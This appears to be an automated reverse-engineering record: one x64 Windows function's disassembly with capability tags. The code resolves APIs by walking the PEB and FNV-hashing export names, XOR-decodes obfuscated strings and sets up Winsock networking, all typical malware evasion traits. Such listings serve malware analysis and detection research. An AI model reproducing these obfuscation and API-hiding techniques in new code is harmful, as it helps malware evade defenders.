Function at 0x140012aa0
Capabilities:
Access peb ldr_data
Authenticate hmac
Create thread
Encode data using xor
Get kernel32 base address
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x1c8]
sub rsp, 0x2a0
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
movaps xmmword [rax - 0x78], xmm10
mov rax, qword [0x140107ec0]
xor rax, rsp
mov qword [rbp + 0x148], rax
xor r13d, r13d
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rbx, rax
mov dword [rbp + 0x70], r13d
lea rdx, [rbp + 0x70]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetConsoleMode]
test eax, eax
je 0x140012b23
mov edx, dword [rbp + 0x70]
or edx, 4
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleMode]
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
movups xmm2, xmmword [0x1400f4bb8]
movups xmmword [rbp + 0x90], xmm2
mov edx, dword [0x1400f4bc8]
mov dword [rbp + 0xa0], edx
movdqa xmm8, xmmword [0x1400f5000]
movdqa xmm7, xmmword [0x1400f4f40]
movdqa xmm10, xmmword [0x1400f5060]
movdqa xmm9, xmmword [str.2222]
movdqa xmm6, xmmword [0x1400f5090]
mov edi, dword [reloc.WS2_32.dll_accept]
cmp byte [0x1400f4bcb], r13b
je 0x140012dc5
mov ecx, r13d
cmp edi, 2
jl 0x140012d8a
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm10
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x90], xmm1
movdqa xmm2, xmmword [0x1400f4f50]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm10
movd xmm0, dword [rbp + 0x94]
xorps xmm2, xmm0
movd dword [rbp + 0x94], xmm2
movdqa xmm3, xmmword [0x1400f4f60]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm10
movd xmm0, dword [rbp + 0x98]
xorps xmm3, xmm0
movd dword [rbp + 0x98], xmm3
movdqa xmm2, xmmword [0x1400f4f70]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm10
movd xmm0, dword [rbp + 0x9c]
xorps xmm2, xmm0
movd dword [rbp + 0x9c], xmm2
movdqa xmm3, xmmword [0x1400f4f80]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm10
movd xmm0, edx
xorps xmm3, xmm0
movd dword [rbp + 0xa0], xmm3
jmp 0x140012dc5
lea r8, [rbp + 0x90]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
mul ecx
shr edx, 4
movsx eax, dl
imul edx, eax, 0x32
movzx eax, cl
sub al, dl
add al, 0x31
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x14
jl 0x140012da0
lea rdx, [rbp + 0x90]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001a940
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x140012e64
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140012e64
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, r10
mov edx, 0xbe686370
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140012e5f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140012e40
cmp edx, 0x6a1e2563
je 0x140012e69
test r9d, r9d
jne 0x140012e20
mov rax, qword [rax]
jmp 0x140012df0
mov edx, dword [r11 + 0x1c]
add rdx, r10
mov ecx, dword [r11 + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
mov ecx, 0x15e
call rax
movzx eax, word [0x1400f4464]
mov word [rbp + 0x70], ax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x140012f24
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140012f24
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, r10
mov edx, 0x4ff64382
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140012f1f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140012f00
cmp edx, 0xff8ce149
je 0x140012f29
test r9d, r9d
jne 0x140012ee0
mov rax, qword [rax]
jmp 0x140012eb0
mov edx, dword [r11 + 0x1c]
add rdx, r10
mov ecx, dword [r11 + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
mov byte [rbp + 0x70], 0x2e
xor byte [rbp + 0x71], 0x32
lea rcx, [rbp + 0x70]
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x140012fe4
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140012fe4
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, r10
mov edx, 0x21752808
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140012fdf
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140012fc0
cmp edx, 0x53474c9b
je 0x140012fe9
test r9d, r9d
jne 0x140012fa0
mov rax, qword [rax]
jmp 0x140012f70
mov edx, dword [r11 + 0x1c]
add rdx, r10
mov ecx, dword [r11 + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
mov ecx, 0x190
call rax
movzx eax, word [0x1400f4464]
mov word [rbp + 0x70], ax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x1400130a4
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x1400130a4
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, r10
mov edx, 0x8a90fd8b
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14001309f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140013080
cmp edx, 0x821c27d4
je 0x1400130a9
test r9d, r9d
jne 0x140013060
mov rax, qword [rax]
jmp 0x140013030
mov edx, dword [r11 + 0x1c]
add rdx, r10
mov ecx, dword [r11 + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
mov byte [rbp + 0x70], 0x2e
xor byte [rbp + 0x71], 0x32
lea rcx, [rbp + 0x70]
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x140013164
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140013164
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x4168bb59
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14001315f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140013140
cmp edx, 0xde66551c
je 0x140013169
test r9d, r9d
jne 0x140013120
mov rax, qword [rax]
jmp 0x1400130f0
mov edx, dword [r11 + 0x1c]
add rdx, r10
mov ecx, dword [r11 + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
mov ecx, 0x1c2
call rax
mov eax, dword [0x1400f4440]
mov dword [rbp + 0x80], eax
movzx eax, word [0x1400f4444]
mov word [rbp + 0x84], ax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x140013234
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140013234
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0xb7dae7df
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14001322f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140013210
cmp edx, 0x2019b7c0
je 0x140013239
test r9d, r9d
jne 0x1400131f0
mov rax, qword [rax]
jmp 0x1400131c0
mov edx, dword [r11 + 0x1c]
add rdx, r10
mov ecx, dword [r11 + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
mov byte [rbp + 0x80], 0x2e
xor byte [rbp + 0x81], 0x32
xor byte [rbp + 0x82], 0x33
xor byte [rbp + 0x83], 0x34
xor byte [rbp + 0x84], 0x35
xor byte [rbp + 0x85], 0x36
lea rcx, [rbp + 0x80]
call rax
lea rcx, [0x1405c0990]
call fcn.14003afa0
lea r12, [0x1405c0ba8]
cmp byte [0x1405c0ba0], r13b
jne 0x14001348a
movsd xmm0, qword [0x1400f3ba8]
movsd qword [rbp + 0x50], xmm0
movzx edx, word [0x1400f3bb0]
mov word [rbp + 0x58], dx
movzx eax, byte [0x1400f3bb2]
mov byte [rbp + 0x50], 0xa
xor byte [rbp + 0x51], 0x32
xor byte [rbp + 0x52], 0x33
xor byte [rbp + 0x53], 0x34
xor byte [rbp + 0x54], 0x35
xor byte [rbp + 0x55], 0x36
xor byte [rbp + 0x56], 0x37
xor byte [rbp + 0x57], 0x38
xor dl, 0x39
mov byte [rbp + 0x58], dl
xor byte [rbp + 0x59], 0x3a
xor al, 0x3b
mov byte [rbp + 0x5a], al
lea rdx, [rbp + 0x50]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001a940
mov rdx, r12
cmp qword [0x1405c0bc0], 0xf
cmova rdx, qword [0x1405c0ba8]
mov r8, qword [0x1405c0bb8]
mov rcx, rax
call fcn.14001fb70
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x1400133b4
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x1400133b4
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x70826636
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1400133af
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140013390
cmp edx, 0x382e6bd9
je 0x1400133b9
test r9d, r9d
jne 0x140013370
mov rax, qword [rax]
jmp 0x140013340
mov edx, dword [r11 + 0x1c]
add rdx, r10
mov ecx, dword [r11 + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
mov ecx, 0x5dc
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x140013464
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140013464
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x3502dad2
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14001345f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140013440
cmp edx, 0xbec42bea
je 0x140013469
test r9d, r9d
jne 0x140013420
mov rax, qword [rax]
jmp 0x1400133f0
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov ecx, dword [r11 + 0x24]
add rcx, r10
movzx eax, word [rcx + r9*2]
mov edx, dword [r8 + rax*4]
add rdx, r10
mov ecx, 1
call rdx
mov eax, dword [str.R_4]
mov dword [rbp + 0x70], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x140013524
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140013524
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x7fae06b4
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14001351f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140013500
cmp edx, 0x595e14d
je 0x140013529
test r9d, r9d
jne 0x1400134e0
mov rax, qword [rax]
jmp 0x1400134b0
mov edx, dword [r11 + 0x1c]
add rdx, r10
mov ecx, dword [r11 + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov r11d, dword [rdx + rcx*4]
add r11, r10
mov r8d, r13d
cmp edi, 2
jl 0x1400135a9
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm10
movd xmm0, dword [rbp + 0x70]
xorps xmm1, xmm0
movd dword [rbp + 0x70], xmm1
jmp 0x1400135d9
lea r9, [rbp + 0x70]
nop dword [rax]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x1400135b0
lea rcx, [rbp + 0x70]
call r11
mov word [rbp + 0x70], reloc.WS2_32.dll_send
mov byte [rbp + 0x71], r13b
lea rax, [rbp + 0x71]
mov qword [rbp + 0x90], rax
lea rcx, [rbp + 0x71]
mov rsi, 0xffffffffffffffff
mov rax, rsi
inc rax
cmp byte [rcx + rax], r13b
jne 0x140013603
mov qword [rbp + 0x98], rax
call fcn.140028724
movaps xmm0, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0x90], xmm0
lea r8, [rbp + 0x90]
mov edx, eax
lea rcx, [rbp + 0xb0]
call fcn.140003070
nop
lea rcx, [rbp + 0xb0]
call fcn.140003a90
movzx ebx, al
mov rdx, qword [rbp + 0xc8]
cmp rdx, 7
jbe 0x140013695
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013690
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140013690
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400ce04c
test bl, bl
je 0x1400142e5
lea rax, [rbp + 0xe8]
mov qword [rbp + 0x80], rax
mov byte [rbp + 0x50], 0x1c
mov al, 0x69
mov cl, reloc.WS2_32.dll_WSAGetLastError
mov dl, 0x79
mov r8b, WSASetLastError
mov r9b, WSAStartup
mov r10b, 0x7d
mov r11b, WSAStartup
movzx ebx, dl
xor r14d, r14d
xor al, 0x1c
mov byte [rbp + 0x51], al
xor cl, 0x1c
mov byte [rbp + 0x52], cl
xor dl, 0x1c
mov byte [rbp + 0x53], dl
xor r8b, 0x1c
mov byte [rbp + 0x54], r8b
xor r9b, 0x1c
mov byte [rbp + 0x55], r9b
xor r10b, 0x1c
mov byte [rbp + 0x56], r10b
xor r11b, 0x1c
mov byte [rbp + 0x57], r11b
xor bl, 0x1c
mov byte [rbp + 0x58], bl
mov byte [rbp + 0x59], r14b
xorps xmm0, xmm0
movups xmmword [rbp + 0xe8], xmm0
mov qword [rbp + 0xf8], r13
mov qword [rbp + 0x100], r13
lea rax, [rbp + 0x51]
mov r8, rsi
inc r8
cmp byte [rax + r8], r14b
jne 0x140013721
lea rdx, [rbp + 0x51]
lea rcx, [rbp + 0xe8]
call fcn.14001b490
nop
mov word [rbp + 0x70], recvfrom
mov byte [rbp + 0x71], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x108], xmm0
mov qword [rbp + 0x118], r13
mov qword [rbp + 0x120], r13
lea rax, [rbp + 0x71]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140013764
lea rdx, [rbp + 0x71]
lea rcx, [rbp + 0x108]
call fcn.14001b490
nop
lea rdx, [rbp + 0xe8]
lea rcx, [rbp + 0x108]
call fcn.140004df0
xorps xmm0, xmm0
test al, al
jne 0x140013b98
lea rax, [rbp + 0xe8]
mov qword [rbp + 0x80], rax
mov byte [rbp + 0x50], reloc.WS2_32.dll_WSAStartup
mov al, 0x1f
mov cl, 0x1a
mov dl, reloc.WS2_32.dll_recv
mov r8b, socket
mov r9b, 0x1d
xor r10b, r10b
movzx r11d, r8b
xor ebx, ebx
xor al, 0x73
mov byte [rbp + 0x51], al
xor cl, 0x73
mov byte [rbp + 0x52], cl
xor dl, 0x73
mov byte [rbp + 0x53], dl
xor r8b, 0x73
mov byte [rbp + 0x54], r8b
xor r9b, 0x73
mov byte [rbp + 0x55], r9b
xor r10b, 0x73
mov byte [rbp + 0x56], r10b
xor r11b, 0x73
mov byte [rbp + 0x57], r11b
mov byte [rbp + 0x58], bl
movups xmmword [rbp + 0xe8], xmm0
mov qword [rbp + 0xf8], r13
mov qword [rbp + 0x100], r13
lea rax, [rbp + 0x51]
mov r8, rsi
inc r8
cmp byte [rax + r8], bl
jne 0x140013814
lea rdx, [rbp + 0x51]
lea rcx, [rbp + 0xe8]
call fcn.14001b490
nop
mov word [rbp + 0x70], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x71], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x108], xmm0
mov qword [rbp + 0x118], r13
mov qword [rbp + 0x120], r13
lea rax, [rbp + 0x71]
inc rsi
cmp byte [rax + rsi], 0
jne 0x140013854
mov r8, rsi
lea rdx, [rbp + 0x71]
lea rcx, [rbp + 0x108]
call fcn.14001b490
nop
lea r8, [rbp + 0xe8]
lea rdx, [rbp + 0x108]
lea rcx, [rbp + 0xb0]
call fcn.140004830
nop
lea rdx, [rbp + 0xb0]
lea rcx, [rsp + 0x70]
call fcn.1400181f0
mov rdx, rax
lea rcx, [0x1405c0990]
call fcn.14003db00
cmp byte [0x1405c0ba0], 0
jne 0x140013b4b
mov byte [rbp + 0x70], 0x31
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x140013944
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140013944
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, r10
mov edx, 0xfcc89aba
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14001393f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140013920
cmp edx, 0x7743809e
je 0x140013949
test r9d, r9d
jne 0x140013900
mov rax, qword [rax]
jmp 0x1400138d0
mov ecx, dword [r11 + 0x24]
add rcx, r10
movzx r8d, word [rcx + r9*2]
mov ecx, dword [r11 + 0x1c]
add rcx, r10
mov eax, dword [rcx + r8*4]
add rax, r10
mov byte [rbp + 0x70], 0
lea rcx, [rbp + 0x70]
call rax
movsd xmm0, qword [0x1400f3ba8]
movsd qword [rbp + 0x50], xmm0
movzx edx, word [0x1400f3bb0]
mov word [rbp + 0x58], dx
movzx eax, byte [0x1400f3bb2]
mov byte [rbp + 0x50], 0xa
xor byte [rbp + 0x51], 0x32
xor byte [rbp + 0x52], 0x33
xor byte [rbp + 0x53], 0x34
xor byte [rbp + 0x54], 0x35
xor byte [rbp + 0x55], 0x36
xor byte [rbp + 0x56], 0x37
xor byte [rbp + 0x57], 0x38
xor dl, 0x39
mov byte [rbp + 0x58], dl
xor byte [rbp + 0x59], 0x3a
xor al, 0x3b
mov byte [rbp + 0x5a], al
lea rdx, [rbp + 0x50]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001a940
mov rdx, r12
cmp qword [0x1405c0bc0], 0xf
cmova rdx, qword [0x1405c0ba8]
mov r8, qword [0x1405c0bb8]
mov rcx, rax
call fcn.14001fb70
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x140013a74
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140013a74
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, r10
mov edx, 0x3e125cb9
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140013a6f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140013a50
cmp edx, 0xb3462cbc
je 0x140013a79
test r9d, r9d
jne 0x140013a30
mov rax, qword [rax]
jmp 0x140013a00
mov ecx, dword [r11 + 0x24]
add rcx, r10
movzx r8d, word [rcx + r9*2]
mov ecx, dword [r11 + 0x1c]
add rcx, r10
mov eax, dword [rcx + r8*4]
add rax, r10
mov ecx, 0x5dc
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x140013b24
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140013b24
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, r10
mov edx, 0x83b437dd
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140013b1f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140013b00
cmp edx, 0xe9821ffd
je 0x140013b29
test r9d, r9d
jne 0x140013ae0
mov rax, qword [rax]
jmp 0x140013ab0
mov ecx, dword [r11 + 0x24]
add rcx, r10
movzx r8d, word [rcx + r9*2]
mov ecx, dword [r11 + 0x1c]
add rcx, r10
mov eax, dword [rcx + r8*4]
add rax, r10
mov ecx, 1
call rax
nop
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0xf
jbe 0x1400149a0
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013b8e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140013b8e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400ce04c
jmp 0x1400149a0
lea rax, [rbp + 0x90]
mov qword [rbp + 0x80], rax
mov byte [rbp + 0x50], 0x66
mov al, reloc.WS2_32.dll_send
mov cl, reloc.WS2_32.dll_setsockopt
mov dl, 3
mov r8b, reloc.WS2_32.dll_sendto
mov r9b, 8
mov r10b, 7
mov r11b, listen
movzx ebx, dl
xor edi, edi
xor al, 0x66
mov byte [rbp + 0x51], al
xor cl, 0x66
mov byte [rbp + 0x52], cl
xor dl, 0x66
mov byte [rbp + 0x53], dl
xor r8b, 0x66
mov byte [rbp + 0x54], r8b
xor r9b, 0x66
mov byte [rbp + 0x55], r9b
xor r10b, 0x66
mov byte [rbp + 0x56], r10b
xor r11b, 0x66
mov byte [rbp + 0x57], r11b
xor bl, 0x66
mov byte [rbp + 0x58], bl
mov byte [rbp + 0x59], dil
movups xmmword [rbp + 0x90], xmm0
mov qword [rbp + 0xa0], r13
mov qword [rbp + 0xa8], r13
lea rax, [rbp + 0x51]
mov r8, rsi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], dil
jne 0x140013c20
lea rdx, [rbp + 0x51]
lea rcx, [rbp + 0x90]
call fcn.14001b490
nop
mov byte [rbp + 0x50], WSAStartup
mov al, 0x19
mov cl, reloc.WS2_32.dll_socket
mov dl, 0xb
mov r8b, 0x5c
mov r9b, 0x18
mov r10b, 1
mov r11b, 0x1d
mov bl, 0x1c
xor edi, edi
xor al, 0x72
mov byte [rbp + 0x51], al
